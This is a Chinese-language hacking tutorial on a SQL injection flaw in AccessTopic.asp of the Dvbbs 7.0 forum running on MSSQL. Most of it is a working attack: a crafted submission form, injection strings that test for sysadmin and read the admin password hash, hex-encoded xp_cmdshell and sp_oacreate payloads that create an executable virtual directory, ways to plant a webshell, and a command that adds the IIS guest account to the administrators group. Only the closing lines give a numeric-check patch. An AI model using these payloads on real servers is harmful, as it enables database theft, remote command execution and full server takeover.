DVBBS7.0 -----幕後的微笑

漏洞文件:AccessTopic.asp
影響版本:Dvbbs7.0任何版本+MSSQL
測試版本:Dvbbs7.0+SP1+MSSQL
測試環境:Windows 2000 Advanced Server + SQL Server 2000

動網論壇7.0自從發佈以來進一步擴大了其在asp論壇領域的聲譽和好評,無論是在美工、性能、安全性和效率上都比上一個版本有了很大的進步。在讀代碼的時候給我的唯一感覺就是——美。但是世上沒有不透風的牆啊,代碼寫得再嚴謹也是會有疏忽的時候。爲了找出它的漏洞,我就像是大海撈針一樣在茫茫的代碼中尋覓,驀然回首那人卻在燈火闌珊處。請跟着我來看一看吧。
第一篇 發現新大陸
打開AccessTopic.asp文件,翻到第200-212行,內容爲:
……
Sub freetopic()
……
For i=1 to request.form("Announceid").count
ID=replace(request.form("Announceid")(i),"'","")
'刪除
If request("actiontype")=2 Then
Set Rs=Dvbbs.Execute("select rootid from "&Dvbbs.NowUsebbs&" where parentid=0 And Announceid="&id)
If not (rs.eof And rs.bof) Then
Dvbbs.Execute("delete from dv_topic where topicid="&rs(0))
Dvbbs.Execute("delete from "& Dvbbs.NowUsebbs &" where rootid="&rs(0))
FoundID=rs(0)
Else
Dvbbs.Execute("delete from "&Dvbbs.NowUsebbs&" where Announceid="&id)
FoundID=0
End If
……
很明顯對request.form("Announceid")的值只進行了單引號的過濾,幸好在SQL語句裏面不是作爲字符串使用,要不然就沒有玩的了。要想突破這個單引號的限制非常簡單,只要把我們需要用到的字符串用SQL Encoder進行轉換一下就可以直接使用了。其基本原理就是在MSSQL中自動的將varbinary類型的數據轉換爲varchar類型數據,然而這一點在asp中一般是無法分辨出來的。在接下來的操作中涉及到字符串的部分爲了便於理解,我保留了原文。在實際操作中請用SQL Encoder進行轉換一下,除非特殊情況不作說明。
第二篇 動網論壇的小鞋
這個文件在動網論壇中是各項用於待審覈帖子的操作,發現漏洞的過程爲刪除待審覈帖子(request("actiontype")=2)。但是這項功能只有在開放某一個版面的帖子審覈功能的時候纔可能用到,而且只有斑竹才能使用,其標誌變量爲在數據中的Dv_Board.BoardSetting列第4個數。
由於此功能默認是關閉的,大部分論壇也不會用到,所以將其評爲低危險程度的漏洞。在利用的時候我們可以想像得到Access數據庫的功能低下,就彷彿是一個弱智一樣,也就沒有什麼利用價值了,因此我只討論使用MSSQL數據庫的情況。
你可能會想,既然如此不就可以利用報錯得到管理員的密碼德md5密文了嗎,這可就錯了。在論壇中每一個SQL語句的執行都是通過Dvbbs.Execute這個過程來實現的,相關代碼可以在inc/Dv_ClsMain.asp中找到,在這個過程中過濾了dv_admin關鍵字,起初的時候我還想過用特殊的方法去構造語句,但是全部失敗,如果你有什麼辦法成功了可別忘記告訴我啊。
由於Announceid是用request.form取得,再利用的時候就要構造本地提交表單,其內容爲:
<form action="http://目標服務器地址及相對路徑/accesstopic.asp?action=freetopic" method=post name=batch>
<input type=hidden value="修改爲打開審覈功能版面的boardid值" name=boardid>
<input name="actiontype" value="2" type=hidden>
<textarea name="Announceid" cols="100" rows="20" id="Announceid"></textarea>
<input name=submit value="執行" type=submit>
</form>
只要在滿足上述條件的情況下,將表單中的值設置好之後就可以往下看了。

第三篇 讓我們知道自己的權力
在取得絕對路徑之前先要判斷當前數據庫用戶的權限,這裏就遇到了一個問題,無論我們提交的語句是否成立,只要不產生錯誤,返回的信息都是相同的。你可能已經想到了,就是要將Announceid的值設置爲一個已經存在的待審覈帖子,在提交成功之後,如果這個帖子已經被刪除就說明我們的條件是正確的,否則就是錯誤的。在這裏爲了方便,假設每次執行都使用已經存在的boardid=1帖子。
由於在數據庫的所有權限中只有sysadmin纔有利用價值,所以只需判斷他就可以了。打開我們剛纔構造的那個表單,並在另外一個頁面中用該版版主賬號登陸,下面的操作都是在這種條件下完成的,因此不再提及。因此在textarea中填入:
1 and 1=(select is_srvrolemember('sysadmin'))
提交後根據上面提到的判斷條件就可知道結果了。同樣也可以利用這種方法來判斷是否存在xp_cmdshell存儲擴展,提交語句爲
1 and 1=( select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell')
如果沒有該權限的話就只能利用報錯看一看前臺管理員的密碼了,需要提交的語句爲:
1 and 1=(select top 1 UserPassword from Dv_User where UserGroupID=1)
如果你想讓自己在論壇裏面的權限得到提升的話就去破解這個md5密文吧——據說非常困難。
然而在具有sysadmin權限的情況下就相當於得到了服務器的絕對控制權——在操作系統中以system權限執行。接着往下看我是怎麼利用該權限的吧。
第四篇 尋找羅馬大路
在第2004.3期上臭要飯的提到用xp_regread存儲擴展讀取註冊表的方法來獲得web絕對路徑,但是經過我的測試後發現這種方法只能得到web服務器安裝時的默認路徑,如果管理員夠聰明的話肯定會進行修改這個值的,那就會導致上傳asp木馬的失敗。我想你可能以體會到過這種情況吧。

現在換個思路考慮,既然不能得到這個路徑,那就在服務器上用我們制定的路徑建一個虛擬目錄問題不就迎刃而解了嗎?經過我的測試提交下面的語句可以實現這個操作:
1;exec('master.dbo.xp_cmdshell ''cscript C:/Inetpub/AdminScripts/mkwebdir.vbs -c localhost -w "1" -v "win","c:/winnt/"''')
exec('master.dbo.xp_cmdshell ''cscript C:/Inetpub/AdminScripts/adsutil.vbs set w3svc/1/root/win/AccessExecute True''')
這樣就在默認服務器下面建立了一個名爲win的虛擬目錄,其絕對路徑爲c:/winnt/,並且具有執行動態腳本的權限,關於mkwebdir.vbs和adsutil.vbs的使用方法可以參考微軟的MSDN它比我講得明白。現在你可以通過訪問http://www.sitename.com/win/來判斷是否創建成功:返回403錯誤說明創建成功,返回500錯誤說明創建失敗。
你也許會發現一個問題,在使用SQL Encoder編碼後提交語句沒有一次成功過,難道語句有錯誤嗎?但是如果你在查詢分析器內測試的話他會成功地執行,問題出在數據類型轉換的問題上。在MSSQL中exec函數不能進行我們要求的這種數據類型轉換,因此需要一步另外的操作。正確的提交代碼爲:
1;declare @a nvarchar(255);
select @a=0x6d00610073007400650072002e00640062006f002e00780070005f0063006d0064007300680065006c006c00200027006300730063007200690070007400200063003a005c0069006e00650074007000750062005c00610064006d0069006e0073006300720069007000740073005c006d006b007700650062006400690072002e0076006200730020002d00630020006c006f00630061006c0068006f007300740020002d007700200022003100220020002d00760020002200770069006e0022002c00220063003a005c00770069006e006e0074005c0022002700;
exec(@a);
select @a=0x6d00610073007400650072002e00640062006f002e00780070005f0063006d0064007300680065006c006c00200027006300730063007200690070007400200063003a005c0069006e00650074007000750062005c00610064006d0069006e00730063007200690070007
40073002f006100640073007500740069006c002e0076006200730020007300650074002000770033007300760063002f0031002f0072006f006f0074002f00770069006e002f006100630063006500730073006500780065006300750074006500200074007200750065002700;
exec(@a);
首先聲明一個nvarchar(255)類型的變量,然後讓賦值運算符去進行數據類型的轉換。還有一點需要注意,在MSSQL中字符串內部的單引號要用兩個單引號,但是在我們使用SQL Encoder進行編碼的時候一定要堅持一個單引號的方針,執行表達式不能轉換的數據類型交給賦值運算符的政策。後面的代碼中基本上都要用到這種方法,所以爲了靈活運用一定要記住它。
也許你會遇到服務器沒有xp_cmdshell的情況,而且這個時候還沒有取得web絕對路徑,建立webshell根本就無從談起。遇到這種情況也不要氣餒,我們還有另外的一種方法可以完成這項操作。提交下面的語句:
1;declare @o int;
exec sp_oacreate 'wscript.shell',@o out;
exec sp_oamethod @o,'run',NULL,'cscript C:/Inetpub/AdminScripts/mkwebdir.vbs -c localhost -w "1" -v "win","c:/winnt/"';
exec sp_oacreate 'wscript.shell',@o out;
exec sp_oamethod @o,'run',NULL,'cscript C:/Inetpub/AdminScripts/adsutil.vbs set w3svc/1/root/win/AccessExecute True';
至於數據類型轉換的問題可以利用剛纔提到的方法去解決。一般的時候管理員很少會注意到sp_oacreate和sp_oamethod這兩個存儲擴展,你可以放心的去使用。
現在通往羅馬的大陸就在我們的面前,那就讓我們跑起來吧!什麼,你說開車更快點?
第五篇 把跑車開上大路
知道了web絕對路徑以後,就可以寫入webshell了,據我所知的有五種方法可以實現:
1. N.E.V.E.R的通過使用數據備份的方法,雖然有大量垃圾數據的產生,但是對權限的要求很低,具體可參考他的相關文章;
2. CZY的使用sp_makewebtask存儲擴展導出表中數據的方法,附加的數據量很少而且避免了使用xp_cmdshell存儲擴展的情況,這種方法我已經在sp_makewebtask.txt給出詳細的代碼;
3. 使用xp_cmdshell執行批處理的方法,這種方法比較實用,沒有任何多於數據的寫入問題,在xp_cmdshell.txt文件中你可以找到詳細的內容。可以用於只能連接服務器80端口的情況——如果有3389的話還用我說嗎?
4. 利用sp_oacreate和sp_oamethod這兩個存儲擴展執行批處理的方法,使用的條件與xp_cmdshell相同,由於這種方法與3中幾乎同出一轍就不再給出代碼了;
5. 利用sp_oacreate和sp_oamethod這兩個存儲擴展調用scripting.filesystemobject對象進行文件的創建及寫入操作,使用條件同上。在sp_oacreate&sp_oamethod.txt文件中有詳細的代碼。
在上述方法中給出的webshell代碼均是修改自海洋頂端的cmd.asp,經過簡化之後僅餘13行關鍵部分,詳細內容見cmd.txt。
你是怎麼把車開上路的就要看實際情況了,馬爺爺告訴我們要具體情況具體分析的嘛!
第六篇 把安全帶繫牢
你肯定發現了在數據庫內的system權限在建立webshell之後就成了Guests權限,這不是造成浪費了嗎!爲了繼承勤儉節約的光榮傳統,可以執行下面的SQL語句將浪費降低到最低的程度:
exec('master.dbo.xp_cmdshell ''net localgroup administrators IUSR_''+host_name()+'' /add''')
當然通過sp_oacreate和sp_oamethod這兩個存儲擴展執行也可以,關鍵在於靈活運用,因時制宜,因地制宜。你問我接下來該幹什麼?我faint,你還是多買兩本黑防看一看吧,它會教你怎麼做的。
結束語
其實這個漏洞的修補非常的簡單,只要將代碼中的
ID=replace(request.form("Announceid")(i),"'","")
這一句改爲下面的語句就可以了
ID= request.form("Announceid")(i)
If isnumeric(ID) then
ID=CLng(ID)
Else
ID=0
End if
千萬不要小看isnumeric函數的作用,修補漏洞可全靠它呢。
俗話說蓋一座大樓很困難,但是想拆掉它卻是很容易。如果想讓自己設計的建築更加牢固,就要更加完備的設計,即使細節的部分也不能放過,以免由於疏忽而導致蟻穴叢生。
對於軟件來說就不僅僅是本身的坍塌了,有可能會帶來毀滅性的災難,甚至於危及整個服務器和服務器所在的網絡。因此對於我們軟件設計和測試的朋友來說肩上的擔子其實挺重的。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章